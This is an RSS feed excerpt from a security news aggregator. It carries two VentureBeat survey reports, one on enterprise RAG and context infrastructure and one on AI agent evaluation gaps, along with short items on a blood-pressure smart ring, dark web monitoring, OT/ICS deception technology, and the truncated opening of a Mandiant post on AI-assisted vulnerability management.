<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[New Smart Ring Does What Apple Watch Still Can’t With Blood Pressure]]></title>
<description><![CDATA[A new smart ring is trying to solve one of the biggest limitations in wearable health technology by offering actual blood pressure readings without needing a traditional arm cuff.



The new Signal Ring from startup Vital Signals costs $399 and promises cuff-free blood pressure monitoring, someth...]]></description>
<link>https://tsecurity.de/de/3674269/ios-mac-os/new-smart-ring-does-what-apple-watch-still-cant-with-blood-pressure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674269/ios-mac-os/new-smart-ring-does-what-apple-watch-still-cant-with-blood-pressure/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new smart ring is trying to solve one of the biggest limitations in wearable health technology by offering actual blood pressure readings without needing a traditional arm cuff.



The new Signal Ring from startup Vital Signals costs $399 and promises cuff-free blood pressure monitoring, something that popular devices like the Apple Watch still do not provide. While the Apple Watch can detect signs that may suggest hypertension, it does not display systolic and diastolic blood pressure numbers.



According to a Bloomberg report, the Signal Ring does not require users to calibrate it with a blood pressure cuff before using the feature, which sets it apart from devices offered by companies such as Samsung and Whoop. Those products need an initial cuff reading and regular recalibration to maintain accuracy, while Vital Signals says its ring works without that extra step.




“This whole company exists because I almost died from undiagnosed hypertension. Blood pressure is the most important health metric that you can track for living long and healthy lives.”




Signal Ring focuses on people with hypertension



Vital Signals designed the Signal Ring mainly for people who already have hypertension or those who face a higher risk of developing it. The ring records blood pressure throughout the day and also tracks overnight readings, helping users understand how their numbers change after exercise, stress, coffee, or sleep. The companion app for iPhone and Android displays detailed graphs, while users can also sync data with Apple Health and Google Health.



According to Bloomberg, users still get the most accurate readings by sitting quietly and starting a manual measurement session. The app even includes breathing exercises and pauses the reading if it detects movement or talking because both can affect blood pressure results.




“Fundamentally, there’s almost no real way for you to truly know your blood pressure as a consumer, and it’s kind of crazy.”




The company plans to ship the consumer version in October after opening preorders, while a medical-grade version that can diagnose hypertension is already undergoing clinical testing at Stanford University and other research sites. 



Vital Signals also says it will not charge a subscription fee, making the one-time purchase cover all of the ring's health features. Although the company admits the device has not received FDA clearance yet and is still refining battery life and performance, the Signal Ring introduces a feature that many users have wanted from the Apple Watch for years.]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[Best Dark Web Monitoring Tools, Software, and Services in 2026 | UpGuard]]></title>
<description><![CDATA[Choose the right tool to manage your exposure with our 2026 breakdown of the best dark web monitoring tools and software for your organization.]]></description>
<link>https://tsecurity.de/de/3674135/it-security-nachrichten/best-dark-web-monitoring-tools-software-and-services-in-2026-upguard/</link>
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<pubDate>Thu, 16 Jul 2026 18:41:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Choose the right tool to manage your exposure with our 2026 breakdown of the best dark web monitoring tools and software for your organization.]]></content:encoded>
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<title><![CDATA[How Can Deception Be Used in OT ICS Networks for Early Threat Detection]]></title>
<description><![CDATA[Learn how deception technology improves OT ICS network security through early threat detection, reconnaissance monitoring, lateral movement detection, and legacy system protection.
The post How Can Deception Be Used in OT ICS Networks for Early Threat Detection appeared first on Fidelis Security.]]></description>
<link>https://tsecurity.de/de/3674007/it-security-nachrichten/how-can-deception-be-used-in-ot-ics-networks-for-early-threat-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674007/it-security-nachrichten/how-can-deception-be-used-in-ot-ics-networks-for-early-threat-detection/</guid>
<pubDate>Thu, 16 Jul 2026 17:39:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how deception technology improves OT ICS network security through early threat detection, reconnaissance monitoring, lateral movement detection, and legacy system protection.</p>
<p>The post <a href="https://fidelissecurity.com/threatgeek/deception/deception-in-ot-ics-networks-early-threat-detection/">How Can Deception Be Used in OT ICS Networks for Early Threat Detection</a> appeared first on <a href="https://fidelissecurity.com/">Fidelis Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Cyber Briefing: 2026.07.16]]></title>
<description><![CDATA[Critical zero-days in your communication and monitoring stack, paired with a global CDN failure and a compliance glitch that broke Telegram’s DNS: inside the highly volatile perimeter of July 2026. This article has been indexed from CyberMaterial Read the original…
Read more →
The post Cyber Brie...]]></description>
<link>https://tsecurity.de/de/3673817/it-security-nachrichten/cyber-briefing-20260716/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673817/it-security-nachrichten/cyber-briefing-20260716/</guid>
<pubDate>Thu, 16 Jul 2026 16:37:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Critical zero-days in your communication and monitoring stack, paired with a global CDN failure and a compliance glitch that broke Telegram’s DNS: inside the highly volatile perimeter of July 2026. This article has been indexed from CyberMaterial Read the original…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cyber-briefing-2026-07-16/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cyber-briefing-2026-07-16/">Cyber Briefing: 2026.07.16</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
